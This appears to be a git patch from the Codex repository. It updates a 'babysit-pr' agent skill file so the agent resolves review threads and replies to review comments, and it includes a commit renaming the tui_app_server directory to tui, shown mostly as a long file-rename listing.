diff --git a/.codex/skills/babysit-pr/SKILL.md b/.codex/skills/babysit-pr/SKILL.md index 4e44563c7b..303bb030fa 100644 --- a/.codex/skills/babysit-pr/SKILL.md +++ b/.codex/skills/babysit-pr/SKILL.md @@ -29,14 +29,15 @@ Accept any of the following: 4. If `diagnose_ci_failure` is present, inspect failed run logs and classify the failure. 5. If the failure is likely caused by the current branch, patch code locally, commit, and push. 6. If `process_review_comment` is present, inspect surfaced review items and decide whether to address them. -7. If a review item is actionable and correct, patch code locally, commit, and push. -8. If the failure is likely flaky/unrelated and `retry_failed_checks` is present, rerun failed jobs with `--retry-failed-now`. -9. If both actionable review feedback and `retry_failed_checks` are present, prioritize review feedback first; a new commit will retrigger CI, so avoid rerunning flaky checks on the old SHA unless you intentionally defer the review change. -10. On every loop, verify mergeability / merge-conflict status (for example via `gh pr view`) in addition to CI and review state. -11. After any push or rerun action, immediately return to step 1 and continue polling on the updated SHA/state. -12. If you had been using `--watch` before pausing to patch/commit/push, relaunch `--watch` yourself in the same turn immediately after the push (do not wait for the user to re-invoke the skill). -13. Repeat polling until the PR is green + review-clean + mergeable, `stop_pr_closed` appears, or a user-help-required blocker is reached. -14. Maintain terminal/session ownership: while babysitting is active, keep consuming watcher output in the same turn; do not leave a detached `--watch` process running and then end the turn as if monitoring were complete. +7. If a review item is actionable and correct, patch code locally, commit, push, and then mark the associated review thread/comment as resolved once the fix is on GitHub. +8. If a review item from another author is non-actionable, already addressed, or not valid, post one reply on the comment/thread explaining that decision (for example answering the question or explaining why no change is needed). If the watcher later surfaces your own reply, treat that self-authored item as already handled and do not reply again. +9. If the failure is likely flaky/unrelated and `retry_failed_checks` is present, rerun failed jobs with `--retry-failed-now`. +10. If both actionable review feedback and `retry_failed_checks` are present, prioritize review feedback first; a new commit will retrigger CI, so avoid rerunning flaky checks on the old SHA unless you intentionally defer the review change. +11. On every loop, verify mergeability / merge-conflict status (for example via `gh pr view`) in addition to CI and review state. +12. After any push or rerun action, immediately return to step 1 and continue polling on the updated SHA/state. +13. If you had been using `--watch` before pausing to patch/commit/push, relaunch `--watch` yourself in the same turn immediately after the push (do not wait for the user to re-invoke the skill). +14. Repeat polling until the PR is green + review-clean + mergeable, `stop_pr_closed` appears, or a user-help-required blocker is reached. +15. Maintain terminal/session ownership: while babysitting is active, keep consuming watcher output in the same turn; do not leave a detached `--watch` process running and then end the turn as if monitoring were complete. ## Commands @@ -94,10 +95,11 @@ When you agree with a comment and it is actionable: 1. Patch code locally. 2. Commit with `codex: address PR review feedback (#)`. 3. Push to the PR head branch. -4. Resume watching on the new SHA immediately (do not stop after reporting the push). -5. If monitoring was running in `--watch` mode, restart `--watch` immediately after the push in the same turn; do not wait for the user to ask again. +4. After the push succeeds, mark the associated GitHub review thread/comment as resolved. +5. Resume watching on the new SHA immediately (do not stop after reporting the push). +6. If monitoring was running in `--watch` mode, restart `--watch` immediately after the push in the same turn; do not wait for the user to ask again. -If you disagree or the comment is non-actionable/already addressed, record it as handled by continuing the watcher loop (the script de-duplicates surfaced items via state after surfacing them). +If you disagree or the comment is non-actionable/already addressed, reply once directly on the GitHub comment/thread so the reviewer gets an explicit answer, then continue the watcher loop. If the watcher later surfaces your own reply because the authenticated operator is treated as a trusted review author, treat that self-authored item as already handled and do not reply again. If a code review comment/thread is already marked as resolved in GitHub, treat it as non-actionable and safely ignore it unless new unresolved follow-up feedback appears. ## Git Safety Rules @@ -124,13 +126,14 @@ Use this loop in a live Codex session: 3. First check whether the PR is now merged or otherwise closed; if so, report that terminal state and stop polling immediately. 4. Check CI summary, new review items, and mergeability/conflict status. 5. Diagnose CI failures and classify branch-related vs flaky/unrelated. -6. Process actionable review comments before flaky reruns when both are present; if a review fix requires a commit, push it and skip rerunning failed checks on the old SHA. -7. Retry failed checks only when `retry_failed_checks` is present and you are not about to replace the current SHA with a review/CI fix commit. -8. If you pushed a commit or triggered a rerun, report the action briefly and continue polling (do not stop). -9. After a review-fix push, proactively restart continuous monitoring (`--watch`) in the same turn unless a strict stop condition has already been reached. -10. If everything is passing, mergeable, not blocked on required review approval, and there are no unaddressed review items, report success and stop. -11. If blocked on a user-help-required issue (infra outage, exhausted flaky retries, unclear reviewer request, permissions), report the blocker and stop. -12. Otherwise sleep according to the polling cadence below and repeat. +6. For each surfaced review item from another author, either reply once with an explanation if it is non-actionable or patch/commit/push and then resolve it if it is actionable. If a later snapshot surfaces your own reply, treat it as informational and continue without responding again. +7. Process actionable review comments before flaky reruns when both are present; if a review fix requires a commit, push it and skip rerunning failed checks on the old SHA. +8. Retry failed checks only when `retry_failed_checks` is present and you are not about to replace the current SHA with a review/CI fix commit. +9. If you pushed a commit, resolved a review thread, replied to a review comment, or triggered a rerun, report the action briefly and continue polling (do not stop). +10. After a review-fix push, proactively restart continuous monitoring (`--watch`) in the same turn unless a strict stop condition has already been reached. +11. If everything is passing, mergeable, not blocked on required review approval, and there are no unaddressed review items, report success and stop. +12. If blocked on a user-help-required issue (infra outage, exhausted flaky retries, unclear reviewer request, permissions), report the blocker and stop. +13. Otherwise sleep according to the polling cadence below and repeat. When the user explicitly asks to monitor/watch/babysit a PR, prefer `--watch` so polling continues autonomously in one command. Use repeated `--once` snapshots only for debugging, local testing, or when the user explicitly asks for a one-shot check. Do not stop to ask the user whether to continue polling; continue autonomously until a strict stop condition is met or the user explicitly interrupts. From 61429a6c1047244c91732e87b5898867853705f0 Mon Sep 17 00:00:00 2001 From: Eric Traut Date: Sat, 28 Mar 2026 11:23:07 -0600 Subject: [PATCH 3/5] Rename tui_app_server to tui (#16104) This is a follow-up to https://github.com/openai/codex/pull/15922. That previous PR deleted the old `tui` directory and left the new `tui_app_server` directory in place. This PR renames `tui_app_server` to `tui` and fixes up all references. --- AGENTS.md | 10 ++- codex-rs/Cargo.toml | 4 +- codex-rs/cli/src/main.rs | 12 ++-- codex-rs/cloud-tasks/src/lib.rs | 10 +-- codex-rs/cloud-tasks/src/new_task.rs | 2 +- codex-rs/cloud-tasks/src/ui.rs | 2 +- codex-rs/{tui_app_server => tui}/BUILD.bazel | 4 +- codex-rs/{tui_app_server => tui}/Cargo.toml | 10 +-- .../frames/blocks/frame_1.txt | 0 .../frames/blocks/frame_10.txt | 0 .../frames/blocks/frame_11.txt | 0 .../frames/blocks/frame_12.txt | 0 .../frames/blocks/frame_13.txt | 0 .../frames/blocks/frame_14.txt | 0 .../frames/blocks/frame_15.txt | 0 .../frames/blocks/frame_16.txt | 0 .../frames/blocks/frame_17.txt | 0 .../frames/blocks/frame_18.txt | 0 .../frames/blocks/frame_19.txt | 0 .../frames/blocks/frame_2.txt | 0 .../frames/blocks/frame_20.txt | 0 .../frames/blocks/frame_21.txt | 0 .../frames/blocks/frame_22.txt | 0 .../frames/blocks/frame_23.txt | 0 .../frames/blocks/frame_24.txt | 0 .../frames/blocks/frame_25.txt | 0 .../frames/blocks/frame_26.txt | 0 .../frames/blocks/frame_27.txt | 0 .../frames/blocks/frame_28.txt | 0 .../frames/blocks/frame_29.txt | 0 .../frames/blocks/frame_3.txt | 0 .../frames/blocks/frame_30.txt | 0 .../frames/blocks/frame_31.txt | 0 .../frames/blocks/frame_32.txt | 0 .../frames/blocks/frame_33.txt | 0 .../frames/blocks/frame_34.txt | 0 .../frames/blocks/frame_35.txt | 0 .../frames/blocks/frame_36.txt | 0 .../frames/blocks/frame_4.txt | 0 .../frames/blocks/frame_5.txt | 0 .../frames/blocks/frame_6.txt | 0 .../frames/blocks/frame_7.txt | 0 .../frames/blocks/frame_8.txt | 0 .../frames/blocks/frame_9.txt | 0 .../frames/codex/frame_1.txt | 0 .../frames/codex/frame_10.txt | 0 .../frames/codex/frame_11.txt | 0 .../frames/codex/frame_12.txt | 0 .../frames/codex/frame_13.txt | 0 .../frames/codex/frame_14.txt | 0 .../frames/codex/frame_15.txt | 0 .../frames/codex/frame_16.txt | 0 .../frames/codex/frame_17.txt | 0 .../frames/codex/frame_18.txt | 0 .../frames/codex/frame_19.txt | 0 .../frames/codex/frame_2.txt | 0 .../frames/codex/frame_20.txt | 0 .../frames/codex/frame_21.txt | 0 .../frames/codex/frame_22.txt | 0 .../frames/codex/frame_23.txt | 0 .../frames/codex/frame_24.txt | 0 .../frames/codex/frame_25.txt | 0 .../frames/codex/frame_26.txt | 0 .../frames/codex/frame_27.txt | 0 .../frames/codex/frame_28.txt | 0 .../frames/codex/frame_29.txt | 0 .../frames/codex/frame_3.txt | 0 .../frames/codex/frame_30.txt | 0 .../frames/codex/frame_31.txt | 0 .../frames/codex/frame_32.txt | 0 .../frames/codex/frame_33.txt | 0 .../frames/codex/frame_34.txt | 0 .../frames/codex/frame_35.txt | 0 .../frames/codex/frame_36.txt | 0 .../frames/codex/frame_4.txt | 0 .../frames/codex/frame_5.txt | 0 .../frames/codex/frame_6.txt | 0 .../frames/codex/frame_7.txt | 0 .../frames/codex/frame_8.txt | 0 .../frames/codex/frame_9.txt | 0 .../frames/default/frame_1.txt | 0 .../frames/default/frame_10.txt | 0 .../frames/default/frame_11.txt | 0 .../frames/default/frame_12.txt | 0 .../frames/default/frame_13.txt | 0 .../frames/default/frame_14.txt | 0 .../frames/default/frame_15.txt | 0 .../frames/default/frame_16.txt | 0 .../frames/default/frame_17.txt | 0 .../frames/default/frame_18.txt | 0 .../frames/default/frame_19.txt | 0 .../frames/default/frame_2.txt | 0 .../frames/default/frame_20.txt | 0 .../frames/default/frame_21.txt | 0 .../frames/default/frame_22.txt | 0 .../frames/default/frame_23.txt | 0 .../frames/default/frame_24.txt | 0 .../frames/default/frame_25.txt | 0 .../frames/default/frame_26.txt | 0 .../frames/default/frame_27.txt | 0 .../frames/default/frame_28.txt | 0 .../frames/default/frame_29.txt | 0 .../frames/default/frame_3.txt | 0 .../frames/default/frame_30.txt | 0 .../frames/default/frame_31.txt | 0 .../frames/default/frame_32.txt | 0 .../frames/default/frame_33.txt | 0 .../frames/default/frame_34.txt | 0 .../frames/default/frame_35.txt | 0 .../frames/default/frame_36.txt | 0 .../frames/default/frame_4.txt | 0 .../frames/default/frame_5.txt | 0 .../frames/default/frame_6.txt | 0 .../frames/default/frame_7.txt | 0 .../frames/default/frame_8.txt | 0 .../frames/default/frame_9.txt | 0 .../frames/dots/frame_1.txt | 0 .../frames/dots/frame_10.txt | 0 .../frames/dots/frame_11.txt | 0 .../frames/dots/frame_12.txt | 0 .../frames/dots/frame_13.txt | 0 .../frames/dots/frame_14.txt | 0 .../frames/dots/frame_15.txt | 0 .../frames/dots/frame_16.txt | 0 .../frames/dots/frame_17.txt | 0 .../frames/dots/frame_18.txt | 0 .../frames/dots/frame_19.txt | 0 .../frames/dots/frame_2.txt | 0 .../frames/dots/frame_20.txt | 0 .../frames/dots/frame_21.txt | 0 .../frames/dots/frame_22.txt | 0 .../frames/dots/frame_23.txt | 0 .../frames/dots/frame_24.txt | 0 .../frames/dots/frame_25.txt | 0 .../frames/dots/frame_26.txt | 0 .../frames/dots/frame_27.txt | 0 .../frames/dots/frame_28.txt | 0 .../frames/dots/frame_29.txt | 0 .../frames/dots/frame_3.txt | 0 .../frames/dots/frame_30.txt | 0 .../frames/dots/frame_31.txt | 0 .../frames/dots/frame_32.txt | 0 .../frames/dots/frame_33.txt | 0 .../frames/dots/frame_34.txt | 0 .../frames/dots/frame_35.txt | 0 .../frames/dots/frame_36.txt | 0 .../frames/dots/frame_4.txt | 0 .../frames/dots/frame_5.txt | 0 .../frames/dots/frame_6.txt | 0 .../frames/dots/frame_7.txt | 0 .../frames/dots/frame_8.txt | 0 .../frames/dots/frame_9.txt | 0 .../frames/hash/frame_1.txt | 0 .../frames/hash/frame_10.txt | 0 .../frames/hash/frame_11.txt | 0 .../frames/hash/frame_12.txt | 0 .../frames/hash/frame_13.txt | 0 .../frames/hash/frame_14.txt | 0 .../frames/hash/frame_15.txt | 0 .../frames/hash/frame_16.txt | 0 .../frames/hash/frame_17.txt | 0 .../frames/hash/frame_18.txt | 0 .../frames/hash/frame_19.txt | 0 .../frames/hash/frame_2.txt | 0 .../frames/hash/frame_20.txt | 0 .../frames/hash/frame_21.txt | 0 .../frames/hash/frame_22.txt | 0 .../frames/hash/frame_23.txt | 0 .../frames/hash/frame_24.txt | 0 .../frames/hash/frame_25.txt | 0 .../frames/hash/frame_26.txt | 0 .../frames/hash/frame_27.txt | 0 .../frames/hash/frame_28.txt | 0 .../frames/hash/frame_29.txt | 0 .../frames/hash/frame_3.txt | 0 .../frames/hash/frame_30.txt | 0 .../frames/hash/frame_31.txt | 0 .../frames/hash/frame_32.txt | 0 .../frames/hash/frame_33.txt | 0 .../frames/hash/frame_34.txt | 0 .../frames/hash/frame_35.txt | 0 .../frames/hash/frame_36.txt | 0 .../frames/hash/frame_4.txt | 0 .../frames/hash/frame_5.txt | 0 .../frames/hash/frame_6.txt | 0 .../frames/hash/frame_7.txt | 0 .../frames/hash/frame_8.txt | 0 .../frames/hash/frame_9.txt | 0 .../frames/hbars/frame_1.txt | 0 .../frames/hbars/frame_10.txt | 0 .../frames/hbars/frame_11.txt | 0 .../frames/hbars/frame_12.txt | 0 .../frames/hbars/frame_13.txt | 0 .../frames/hbars/frame_14.txt | 0 .../frames/hbars/frame_15.txt | 0 .../frames/hbars/frame_16.txt | 0 .../frames/hbars/frame_17.txt | 0 .../frames/hbars/frame_18.txt | 0 .../frames/hbars/frame_19.txt | 0 .../frames/hbars/frame_2.txt | 0 .../frames/hbars/frame_20.txt | 0 .../frames/hbars/frame_21.txt | 0 .../frames/hbars/frame_22.txt | 0 .../frames/hbars/frame_23.txt | 0 .../frames/hbars/frame_24.txt | 0 .../frames/hbars/frame_25.txt | 0 .../frames/hbars/frame_26.txt | 0 .../frames/hbars/frame_27.txt | 0 .../frames/hbars/frame_28.txt | 0 .../frames/hbars/frame_29.txt | 0 .../frames/hbars/frame_3.txt | 0 .../frames/hbars/frame_30.txt | 0 .../frames/hbars/frame_31.txt | 0 .../frames/hbars/frame_32.txt | 0 .../frames/hbars/frame_33.txt | 0 .../frames/hbars/frame_34.txt | 0 .../frames/hbars/frame_35.txt | 0 .../frames/hbars/frame_36.txt | 0 .../frames/hbars/frame_4.txt | 0 .../frames/hbars/frame_5.txt | 0 .../frames/hbars/frame_6.txt | 0 .../frames/hbars/frame_7.txt | 0 .../frames/hbars/frame_8.txt | 0 .../frames/hbars/frame_9.txt | 0 .../frames/openai/frame_1.txt | 0 .../frames/openai/frame_10.txt | 0 .../frames/openai/frame_11.txt | 0 .../frames/openai/frame_12.txt | 0 .../frames/openai/frame_13.txt | 0 .../frames/openai/frame_14.txt | 0 .../frames/openai/frame_15.txt | 0 .../frames/openai/frame_16.txt | 0 .../frames/openai/frame_17.txt | 0 .../frames/openai/frame_18.txt | 0 .../frames/openai/frame_19.txt | 0 .../frames/openai/frame_2.txt | 0 .../frames/openai/frame_20.txt | 0 .../frames/openai/frame_21.txt | 0 .../frames/openai/frame_22.txt | 0 .../frames/openai/frame_23.txt | 0 .../frames/openai/frame_24.txt | 0 .../frames/openai/frame_25.txt | 0 .../frames/openai/frame_26.txt | 0 .../frames/openai/frame_27.txt | 0 .../frames/openai/frame_28.txt | 0 .../frames/openai/frame_29.txt | 0 .../frames/openai/frame_3.txt | 0 .../frames/openai/frame_30.txt | 0 .../frames/openai/frame_31.txt | 0 .../frames/openai/frame_32.txt | 0 .../frames/openai/frame_33.txt | 0 .../frames/openai/frame_34.txt | 0 .../frames/openai/frame_35.txt | 0 .../frames/openai/frame_36.txt | 0 .../frames/openai/frame_4.txt | 0 .../frames/openai/frame_5.txt | 0 .../frames/openai/frame_6.txt | 0 .../frames/openai/frame_7.txt | 0 .../frames/openai/frame_8.txt | 0 .../frames/openai/frame_9.txt | 0 .../frames/shapes/frame_1.txt | 0 .../frames/shapes/frame_10.txt | 0 .../frames/shapes/frame_11.txt | 0 .../frames/shapes/frame_12.txt | 0 .../frames/shapes/frame_13.txt | 0 .../frames/shapes/frame_14.txt | 0 .../frames/shapes/frame_15.txt | 0 .../frames/shapes/frame_16.txt | 0 .../frames/shapes/frame_17.txt | 0 .../frames/shapes/frame_18.txt | 0 .../frames/shapes/frame_19.txt | 0 .../frames/shapes/frame_2.txt | 0 .../frames/shapes/frame_20.txt | 0 .../frames/shapes/frame_21.txt | 0 .../frames/shapes/frame_22.txt | 0 .../frames/shapes/frame_23.txt | 0 .../frames/shapes/frame_24.txt | 0 .../frames/shapes/frame_25.txt | 0 .../frames/shapes/frame_26.txt | 0 .../frames/shapes/frame_27.txt | 0 .../frames/shapes/frame_28.txt | 0 .../frames/shapes/frame_29.txt | 0 .../frames/shapes/frame_3.txt | 0 .../frames/shapes/frame_30.txt | 0 .../frames/shapes/frame_31.txt | 0 .../frames/shapes/frame_32.txt | 0 .../frames/shapes/frame_33.txt | 0 .../frames/shapes/frame_34.txt | 0 .../frames/shapes/frame_35.txt | 0 .../frames/shapes/frame_36.txt | 0 .../frames/shapes/frame_4.txt | 0 .../frames/shapes/frame_5.txt | 0 .../frames/shapes/frame_6.txt | 0 .../frames/shapes/frame_7.txt | 0 .../frames/shapes/frame_8.txt | 0 .../frames/shapes/frame_9.txt | 0 .../frames/slug/frame_1.txt | 0 .../frames/slug/frame_10.txt | 0 .../frames/slug/frame_11.txt | 0 .../frames/slug/frame_12.txt | 0 .../frames/slug/frame_13.txt | 0 .../frames/slug/frame_14.txt | 0 .../frames/slug/frame_15.txt | 0 .../frames/slug/frame_16.txt | 0 .../frames/slug/frame_17.txt | 0 .../frames/slug/frame_18.txt | 0 .../frames/slug/frame_19.txt | 0 .../frames/slug/frame_2.txt | 0 .../frames/slug/frame_20.txt | 0 .../frames/slug/frame_21.txt | 0 .../frames/slug/frame_22.txt | 0 .../frames/slug/frame_23.txt | 0 .../frames/slug/frame_24.txt | 0 .../frames/slug/frame_25.txt | 0 .../frames/slug/frame_26.txt | 0 .../frames/slug/frame_27.txt | 0 .../frames/slug/frame_28.txt | 0 .../frames/slug/frame_29.txt | 0 .../frames/slug/frame_3.txt | 0 .../frames/slug/frame_30.txt | 0 .../frames/slug/frame_31.txt | 0 .../frames/slug/frame_32.txt | 0 .../frames/slug/frame_33.txt | 0 .../frames/slug/frame_34.txt | 0 .../frames/slug/frame_35.txt | 0 .../frames/slug/frame_36.txt | 0 .../frames/slug/frame_4.txt | 0 .../frames/slug/frame_5.txt | 0 .../frames/slug/frame_6.txt | 0 .../frames/slug/frame_7.txt | 0 .../frames/slug/frame_8.txt | 0 .../frames/slug/frame_9.txt | 0 .../frames/vbars/frame_1.txt | 0 .../frames/vbars/frame_10.txt | 0 .../frames/vbars/frame_11.txt | 0 .../frames/vbars/frame_12.txt | 0 .../frames/vbars/frame_13.txt | 0 .../frames/vbars/frame_14.txt | 0 .../frames/vbars/frame_15.txt | 0 .../frames/vbars/frame_16.txt | 0 .../frames/vbars/frame_17.txt | 0 .../frames/vbars/frame_18.txt | 0 .../frames/vbars/frame_19.txt | 0 .../frames/vbars/frame_2.txt | 0 .../frames/vbars/frame_20.txt | 0 .../frames/vbars/frame_21.txt | 0 .../frames/vbars/frame_22.txt | 0 .../frames/vbars/frame_23.txt | 0 .../frames/vbars/frame_24.txt | 0 .../frames/vbars/frame_25.txt | 0 .../frames/vbars/frame_26.txt | 0 .../frames/vbars/frame_27.txt | 0 .../frames/vbars/frame_28.txt | 0 .../frames/vbars/frame_29.txt | 0 .../frames/vbars/frame_3.txt | 0 .../frames/vbars/frame_30.txt | 0 .../frames/vbars/frame_31.txt | 0 .../frames/vbars/frame_32.txt | 0 .../frames/vbars/frame_33.txt | 0 .../frames/vbars/frame_34.txt | 0 .../frames/vbars/frame_35.txt | 0 .../frames/vbars/frame_36.txt | 0 .../frames/vbars/frame_4.txt | 0 .../frames/vbars/frame_5.txt | 0 .../frames/vbars/frame_6.txt | 0 .../frames/vbars/frame_7.txt | 0 .../frames/vbars/frame_8.txt | 0 .../frames/vbars/frame_9.txt | 0 .../prompt_for_init_command.md | 0 .../src/additional_dirs.rs | 0 codex-rs/{tui_app_server => tui}/src/app.rs | 0 .../src/app/agent_navigation.rs | 0 .../src/app/app_server_adapter.rs | 0 .../src/app/app_server_requests.rs | 0 .../src/app/loaded_threads.rs | 0 .../src/app/pending_interactive_replay.rs | 0 .../src/app_backtrack.rs | 0 .../src/app_command.rs | 0 .../{tui_app_server => tui}/src/app_event.rs | 0 .../src/app_event_sender.rs | 0 .../src/app_server_session.rs | 0 .../src/ascii_animation.rs | 0 .../src/audio_device.rs | 0 .../src/bin/md-events.rs | 0 .../src/bottom_pane/AGENTS.md | 0 .../src/bottom_pane/app_link_view.rs | 0 .../src/bottom_pane/approval_overlay.rs | 0 .../src/bottom_pane/bottom_pane_view.rs | 0 .../src/bottom_pane/chat_composer.rs | 2 +- .../src/bottom_pane/chat_composer_history.rs | 0 .../src/bottom_pane/command_popup.rs | 0 .../src/bottom_pane/custom_prompt_view.rs | 0 .../bottom_pane/experimental_features_view.rs | 0 .../src/bottom_pane/feedback_view.rs | 0 .../src/bottom_pane/file_search_popup.rs | 0 .../src/bottom_pane/footer.rs | 0 .../src/bottom_pane/list_selection_view.rs | 0 .../src/bottom_pane/mcp_server_elicitation.rs | 0 .../src/bottom_pane/mod.rs | 0 .../src/bottom_pane/multi_select_picker.rs | 0 .../src/bottom_pane/paste_burst.rs | 0 .../src/bottom_pane/pending_input_preview.rs | 0 .../bottom_pane/pending_thread_approvals.rs | 0 .../src/bottom_pane/popup_consts.rs | 0 .../src/bottom_pane/prompt_args.rs | 0 .../bottom_pane/request_user_input/layout.rs | 0 .../src/bottom_pane/request_user_input/mod.rs | 0 .../bottom_pane/request_user_input/render.rs | 0 ...tests__request_user_input_footer_wrap.snap | 1 - ...t__tests__request_user_input_freeform.snap | 0 ...uest_user_input_hidden_options_footer.snap | 0 ...__request_user_input_long_option_text.snap | 0 ...quest_user_input_multi_question_first.snap | 1 - ...equest_user_input_multi_question_last.snap | 1 - ...ut__tests__request_user_input_options.snap | 0 ...uest_user_input_options_notes_visible.snap | 1 - ..._request_user_input_scrolling_options.snap | 0 ...ests__request_user_input_tight_height.snap | 0 ...st_user_input_unanswered_confirmation.snap | 0 ...s__request_user_input_wrapped_options.snap | 0 .../src/bottom_pane/scroll_state.rs | 0 .../src/bottom_pane/selection_popup_common.rs | 0 .../src/bottom_pane/skill_popup.rs | 0 .../src/bottom_pane/skills_toggle_view.rs | 0 .../src/bottom_pane/slash_commands.rs | 0 ...nk_view_enable_suggestion_with_reason.snap | 0 ...k_view_install_suggestion_with_reason.snap | 0 ...overlay_additional_permissions_prompt.snap | 2 +- ..._approval_overlay_cross_thread_prompt.snap | 1 + ...__approval_overlay_permissions_prompt.snap | 0 ...l_overlay__tests__network_exec_prompt.snap | 1 - ...mposer__tests__backspace_after_pastes.snap | 0 ...tom_pane__chat_composer__tests__empty.snap | 0 ...er__tests__footer_collapse_empty_full.snap | 0 ...ollapse_empty_mode_cycle_with_context.snap | 0 ...apse_empty_mode_cycle_without_context.snap | 0 ...ests__footer_collapse_empty_mode_only.snap | 0 ...ests__footer_collapse_plan_empty_full.snap | 0 ...se_plan_empty_mode_cycle_with_context.snap | 0 ...plan_empty_mode_cycle_without_context.snap | 0 ..._footer_collapse_plan_empty_mode_only.snap | 0 ...ests__footer_collapse_plan_queue_full.snap | 0 ...se_plan_queue_message_without_context.snap | 0 ..._footer_collapse_plan_queue_mode_only.snap | 0 ...ollapse_plan_queue_short_with_context.snap | 0 ...apse_plan_queue_short_without_context.snap | 0 ...er__tests__footer_collapse_queue_full.snap | 0 ...ollapse_queue_message_without_context.snap | 0 ...ests__footer_collapse_queue_mode_only.snap | 0 ...ter_collapse_queue_short_with_context.snap | 0 ..._collapse_queue_short_without_context.snap | 0 ...__tests__footer_mode_ctrl_c_interrupt.snap | 0 ...poser__tests__footer_mode_ctrl_c_quit.snap | 0 ...sts__footer_mode_ctrl_c_then_esc_hint.snap | 0 ...tests__footer_mode_esc_hint_backtrack.snap | 0 ...ts__footer_mode_esc_hint_from_overlay.snap | 0 ...ests__footer_mode_hidden_while_typing.snap | 0 ...r_mode_overlay_then_external_esc_hint.snap | 0 ...__tests__footer_mode_shortcut_overlay.snap | 0 ...er__tests__image_placeholder_multiple.snap | 0 ...oser__tests__image_placeholder_single.snap | 0 ...tom_pane__chat_composer__tests__large.snap | 0 ...r__tests__mention_popup_type_prefixes.snap | 0 ...chat_composer__tests__multiple_pastes.snap | 0 ...composer__tests__plugin_mention_popup.snap | 0 ...at_composer__tests__remote_image_rows.snap | 0 ..._remote_image_rows_after_delete_first.snap | 0 ...er__tests__remote_image_rows_selected.snap | 0 ..._chat_composer__tests__slash_popup_mo.snap | 0 ...chat_composer__tests__slash_popup_res.snap | 1 - ...tom_pane__chat_composer__tests__small.snap | 0 ...view__tests__feedback_view_bad_result.snap | 0 ...edback_view__tests__feedback_view_bug.snap | 0 ...iew__tests__feedback_view_good_result.snap | 0 ...back_view__tests__feedback_view_other.snap | 0 ...ack_view__tests__feedback_view_render.snap | 0 ...ew__tests__feedback_view_safety_check.snap | 0 ...ck_view_with_connectivity_diagnostics.snap | 0 ...ter__tests__footer_active_agent_label.snap | 1 - ...composer_has_draft_queue_hint_enabled.snap | 0 ...er__tests__footer_context_tokens_used.snap | 0 ...ooter__tests__footer_ctrl_c_quit_idle.snap | 0 ...er__tests__footer_ctrl_c_quit_running.snap | 0 ...__footer__tests__footer_esc_hint_idle.snap | 0 ...footer__tests__footer_esc_hint_primed.snap | 0 ...r_mode_indicator_narrow_overlap_hides.snap | 0 ...ter_mode_indicator_running_hides_hint.snap | 0 ...er__tests__footer_mode_indicator_wide.snap | 0 ...shortcuts_collaboration_modes_enabled.snap | 1 - ...sts__footer_shortcuts_context_running.snap | 0 ...oter__tests__footer_shortcuts_default.snap | 0 ...tests__footer_shortcuts_shift_and_esc.snap | 0 ...er_status_line_disabled_context_right.snap | 0 ...footer_status_line_enabled_mode_right.snap | 0 ...ter_status_line_enabled_no_mode_right.snap | 0 ..._footer_status_line_overrides_context.snap | 0 ...oter_status_line_overrides_draft_idle.snap | 0 ...ooter_status_line_overrides_shortcuts.snap | 0 ...footer_status_line_truncated_with_gap.snap | 0 ...r_status_line_with_active_agent_label.snap | 1 - ...oter_status_line_yields_to_queue_hint.snap | 0 ...n_col_width_mode_auto_all_rows_scroll.snap | 1 - ...on_col_width_mode_auto_visible_scroll.snap | 1 - ...selection_col_width_mode_fixed_scroll.snap | 1 - ...sts__list_selection_footer_note_wraps.snap | 1 - ..._list_selection_model_picker_width_80.snap | 0 ...selection_narrow_width_preserves_rows.snap | 0 ..._list_selection_spacing_with_subtitle.snap | 0 ...st_selection_spacing_without_subtitle.snap | 0 ...tion_approval_form_with_param_summary.snap | 0 ...on_approval_form_with_session_persist.snap | 0 ...citation_approval_form_without_schema.snap | 0 ...__mcp_server_elicitation_boolean_form.snap | 0 ...ueue__tests__render_many_line_message.snap | 0 ...sage_queue__tests__render_one_message.snap | 0 ...age_queue__tests__render_two_messages.snap | 0 ..._queue__tests__render_wrapped_message.snap | 0 ...view__tests__render_many_line_message.snap | 0 ...ests__render_more_than_three_messages.snap | 0 ...teer_uses_single_prefix_and_truncates.snap | 0 ...ut_preview__tests__render_one_message.snap | 0 ..._one_message_with_shift_left_binding.snap} | 2 +- ...view__tests__render_one_pending_steer.snap | 0 ...pending_steers_above_queued_messages.snap} | 2 +- ...t_preview__tests__render_two_messages.snap | 0 ...review__tests__render_wrapped_message.snap | 0 ...ggle_view__tests__skills_toggle_basic.snap | 1 - ..._snapshot_uses_runtime_preview_values.snap | 1 - ...s_visible_when_status_hidden_snapshot.snap | 0 ...er_fill_height_without_bottom_padding.snap | 0 ...__status_and_queued_messages_snapshot.snap | 0 ...hidden_when_height_too_small_height_1.snap | 0 ...tom_pane__tests__status_only_snapshot.snap | 0 ..._details_and_queued_messages_snapshot.snap | 0 ...p__tests__terminal_title_setup_basic.snap} | 2 +- ...c_footer__tests__render_many_sessions.snap | 0 ...c_footer__tests__render_more_sessions.snap | 2 +- .../src/bottom_pane/status_line_setup.rs | 0 .../src/bottom_pane/textarea.rs | 0 .../src/bottom_pane/title_setup.rs | 0 .../src/bottom_pane/unified_exec_footer.rs | 0 .../{tui_app_server => tui}/src/chatwidget.rs | 0 .../src/chatwidget/interrupts.rs | 0 .../src/chatwidget/plugins.rs | 0 .../src/chatwidget/realtime.rs | 0 .../src/chatwidget/session_header.rs | 0 .../src/chatwidget/skills.rs | 0 ...d_renders_requested_model_and_effort.snap} | 2 +- ...ver_collab_wait_items_render_history.snap} | 2 +- ...review_denied_renders_denied_request.snap} | 2 +- ...ly_patch_manual_flow_history_approved.snap | 0 ...hatwidget__tests__approval_modal_exec.snap | 0 ...l_exec_multiline_prefix_no_execpolicy.snap | 0 ..._tests__approval_modal_exec_no_reason.snap | 2 + ...atwidget__tests__approval_modal_patch.snap | 0 ...get__tests__approvals_selection_popup.snap | 1 - ...tests__approvals_selection_popup.snap.new} | 2 +- ...ts__approvals_selection_popup@windows.snap | 1 - ...vals_selection_popup@windows_degraded.snap | 0 ...get__tests__apps_popup_loading_state.snap} | 2 +- ...et__tests__binary_size_ideal_response.snap | 0 ...chatwidget__tests__chat_small_idle_h1.snap | 0 ...chatwidget__tests__chat_small_idle_h2.snap | 0 ...chatwidget__tests__chat_small_idle_h3.snap | 0 ...twidget__tests__chat_small_running_h1.snap | 0 ...twidget__tests__chat_small_running_h2.snap | 0 ...twidget__tests__chat_small_running_h3.snap | 0 ...exec_and_status_layout_vt100_snapshot.snap | 0 ...t_markdown_code_blocks_vt100_snapshot.snap | 37 ++++++++++- ...i__chatwidget__tests__chatwidget_tall.snap | 3 +- ...ompact_queues_user_messages_snapshot.snap} 